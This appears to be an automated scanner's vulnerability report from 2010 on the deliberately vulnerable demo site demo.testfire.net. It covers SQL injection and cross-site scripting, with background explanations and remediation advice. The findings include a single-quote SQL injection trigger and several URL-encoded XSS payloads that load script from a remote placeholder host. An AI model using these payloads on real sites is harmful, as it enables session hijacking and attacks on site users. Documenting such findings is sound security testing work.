

# Webapps Vulnerability Report

*Tuesday, January 12, 2010*

## Introduction

---

This report provides detailed information of every vulnerability that was found and successfully exploited by CORE IMPACT during this test.

This information provides a practical approach to determine the key vulnerable points in the tested scenarios, and to assess the risk associated with such vulnerabilities.

## Organization

---

This report consists of a list of vulnerabilities found divided by vulnerability type. Each section is preceded by a vulnerability description.

## Vulnerabilities background

---

Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.

The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.

## SQL Injection Vulnerabilities

SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by string concatenation) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.

There are two types of SQL injection vulnerabilities: error-based and blind. In error-based SQL injections the error message reported by the database, under an invalid query, is displayed to the user, allowing him to leverage information based on this output. However, in the case of blind SQL injections no error information is displayed to the user, increasing the difficulty of detection and exploitation of the vulnerability.

One option is to only allow alphanumeric characters. There are other characters that can be allowed (e.g. "\_"), but try to specifically avoid the following characters: " (double quote), ' (single quote), ; (semicolon), , (colon), - (dash). Please remember that best practice is always restricting the allowed characters rather than filtering out specific 'bad' ones (e.g.: only allow alphanumeric characters and discard everything else, rather than just filtering out single quotes).

## **A word on fixing SQL Injection vulnerabilities**

Most SQL injection vulnerabilities can be easily fixed by avoiding the use of dynamically constructed SQL queries and using parameterized queries instead. If it's not possible to use parameterized queries because the string appended is not a data type (e.g.: the name of the table in a CREATE SQL statement), it is possible to filter/sanitize the string to ensure that it cannot be used to trigger SQL injection vulnerabilities.

## **General Conclusions and Recommendations**

Use parameterized queries at the time of using user input in database queries.

Recommendation: Never construct database queries by appending user input; rely on parameterized queries instead, which guarantee that the user input will not be treated as part of the SQL query, but merely as data

## **Cross-Site Scripting Vulnerabilities**

Cross-Site Scripting (commonly referred to as XSS) attacks are the result of improper filtering of input obtained from untrusted sources.

Basically, they consist in the attacker injecting malicious tags and/or script code that is executed by the user's web browser when accessing the vulnerable web site. The injected code then takes advantage of the trust given by the user to the vulnerable site.

These attacks are usually targeted to all users of a web application instead of the application itself (although one could say that the users are affected because of a vulnerability of the web application). The term 'cross-site scripting' is also sometimes used in a broader sense referring to different types of attacks involving script injection into the client.

Cross-site Scripting (XSS):

<http://www.owasp.org/index.php/XSS>

How To Prevent Cross-Site Scripting Security Issues:

<http://support.microsoft.com/default.aspx?scid=KB;en-us;q252985>

The Cross-Site Scripting FAQ (XSS):

<http://www.cgisecurity.com/articles/xss-faq.shtml>

## SQL Injection Vulnerabilities

---

SQL Injection Vulnerability

**State** confirmed  
**Agent** Not configured

### Basic Information

---

#### Properties

URL	http://demo.testfire.net/bank/login.aspx
Parameter Name	passw
Parameter Type	POST
Triggers	"_", ""

#### Backend Information

Database Engine  
Database Version  
Operating System  
Architecture

### Advanced Information

---

#### Error Method

Heuristic	HttpErrorCode
-----------	---------------

#### Request Information

<i>cookies</i>	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	swffh555jtxmop55gr5chb45

  

<i>post</i>	Name	Value
	btnSubmit	Login
	passw	%27
	uid	

SQL Injection Vulnerability

**State** confirmed  
**Agent** Not configured

### Basic Information

---

#### Properties

URL	http://demo.testfire.net/bank/login.aspx
-----	--

Parameter Name uid  
Parameter Type POST  
Triggers "\_", ""

### Backend Information

Database Engine  
Database Version  
Operating System  
Architecture

### Advanced Information

---

#### Error Method

Heuristic HttpErrorCode

#### Request Information

<b>cookies</b>	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	swffh555jtxmop55gr5chb45
<b>post</b>	Name	Value
	btnSubmit	Login
	passw	
	uid	%27

# XSS Vulnerability Vulnerabilities

Cross-site scripting (XSS) Vulnerability

**State** confirmed  
**Agent** Configured

## Description

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability.

## Basic Information

### Properties

URL	http://demo.testfire.net/search.aspx
Where	Parameter
Parameter Name	txtSearch
Parameter Type	GET

### Misc. Information

## Advanced Information

### Attack Information

Template	<SCRIPT SRC=XSS></SCRIPT>
Prefix	<span><p>
Postfix	</span></p><body>
Type	Remote
File Type	JavaScript (js)

### Request Information

cookies	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidztrtfzkxd0javy1

  

get	Name	Value
	txtSearch	%3C/span%3E%3C/p%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dhttp%3A//123.456.789.123/test%3Frnd%3D1234567890%3E%3C/SCRIPT%3E%3Cspan%3E%3Cp%3E

Browsers	Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9
----------	---

**Description**

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability. Warning : This vulnerability is present on a POST HTTP request and thus cannot be exploited through a direct link to the vulnerable web site.

**Basic Information**

---

## Properties

URL	http://demo.testfire.net/comment.aspx
Where	Parameter
Parameter Name	name
Parameter Type	POST

## Misc. Information

**Advanced Information**

---

## Attack Information

Template	<SCRIPT SRC=XSS></SCRIPT>
Prefix	<p>
Postfix	</p><body>
Type	Remote
File Type	JavaScript (js)

## Request Information

cookies	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidzxtrtfzkxd0javy1

  

post	Name	Value
	cfile	comments.txt
	email_addr	
	name	%3C/p%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dhttp%3A//123.456.789.123/test%3Frd%3D1234567890%3E%3C/SCRIPT%3E%3Cp%3E
	reset	%20Clear%20Form%20
	subject	
	submit	%20Submit%20

Browsers Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9

Cross-site scripting (XSS) Vulnerability

**State** confirmed  
**Agent** Configured

### Description

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability.

### Basic Information

#### Properties

URL	http://demo.testfire.net/comment.aspx
Where	Parameter
Parameter Name	name
Parameter Type	GET

#### Misc. Information

### Advanced Information

#### Attack Information

Template	<SCRIPT SRC=XSS></SCRIPT>
Prefix	<p>
Postfix	</p><body>
Type	Remote
File Type	JavaScript (js)

### Request Information

cookies	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidzxtrtfzkxd0javy1

  

get	Name	Value
	cfile	comments.txt
	email_addr	
	name	%3C/p%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dh ttp%3A//123.456.789.123/test%3Fmd%3D1234567890 %3E%3C/SCRIPT%3E%3Cp%3E
	reset	%20Clear%20Form%20
	subject	
	submit	%20Submit%20

Browsers Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9

Cross-site scripting (XSS) Vulnerability	<b>State</b>	confirmed
	<b>Agent</b>	Configured

### Description

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability. Warning : This vulnerability is present on a POST HTTP request and thus cannot be exploited through a direct link to the vulnerable web site.

### Basic Information

#### Properties

URL	http://demo.testfire.net/bank/login.aspx
Where	Parameter
Parameter Name	uid

Parameter Type POST

## Misc. Information

### Advanced Information

---

#### Attack Information

Template <SCRIPT SRC=XSS></SCRIPT>  
Prefix <"  
Postfix "><body>  
Type Remote  
File Type JavaScript (js)

#### Request Information

cookies	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidzxrtrfzkxd0javy1

  

post	Name	Value
	btnSubmit	Login
	passw	
	uid	%22/%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dhttp%3A//123.456.789.123/test%3Frnd%3D1234567890%3E%3C/SCRIPT%3E%3C%22

Browsers Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9

Cross-site scripting (XSS) Vulnerability	<b>State</b> confirmed
	<b>Agent</b> Configured

#### Description

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability.

#### Basic Information

---

##### Properties

URL http://demo.testfire.net/bank/login.aspx  
Where Parameter  
Parameter Name uid

Parameter Type GET

## Misc. Information

### Advanced Information

---

#### Attack Information

Template <SCRIPT SRC=XSS></SCRIPT>  
Prefix <"  
Postfix "><body>  
Type Remote  
File Type JavaScript (js)

#### Request Information

cookies	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidzxrtrfzkxd0javy1

get	Name	Value
	btnSubmit	Login
	passwd	
	uid	%22/%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dhttp%3A//123.456.789.123/test%3Frnd%3D1234567890%3E%3C/SCRIPT%3E%3C%22

Browsers Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9

Cross-site scripting (XSS) Vulnerability	<b>State</b> confirmed
	<b>Agent</b> Configured

#### Description

There is a parameter that gets reflected to the user without proper sanitization. This leads to parameter Cross-Site scripting attacks. We use a vector that includes a remote malicious file to exploit this vulnerability.

### Basic Information

---

#### Properties

URL http://demo.testfire.net/notfound.aspx?aspxerrorpath=/Privacypolicy.aspx  
Where Parameter  
Parameter Name aspxerrorpath

Parameter Type

GET

Misc. Information

**Advanced Information**

---

Attack Information

Template <SCRIPT SRC=XSS></SCRIPT>  
Prefix <b><span><p>  
Postfix </b></span></p><body>  
Type Remote  
File Type JavaScript (js)

Request Information

<b>cookies</b>	Name	Value
	amSessionId	16181796586
	ASP.NET_SessionId	pcsb1uidzxtrtfzkxd0javy1

<b>get</b>	Name	Value
	aspxerrorpath	%3C/b%3E%3C/span%3E%3C/p%3E%3Cbody%3E%3CSCRIPT%20SRC%3Dhttp%3A//123.456.789.123/test%3Frnd%3D1234567890%3E%3C/SCRIPT%3E%3Cb%3E%3Cspan%3E%3Cp%3E

Browsers Internet Explorer 6, Internet Explorer 7, Firefox 2, Firefox 3, Netscape 8.1 (IE Mode), Netscape 8.1, O-9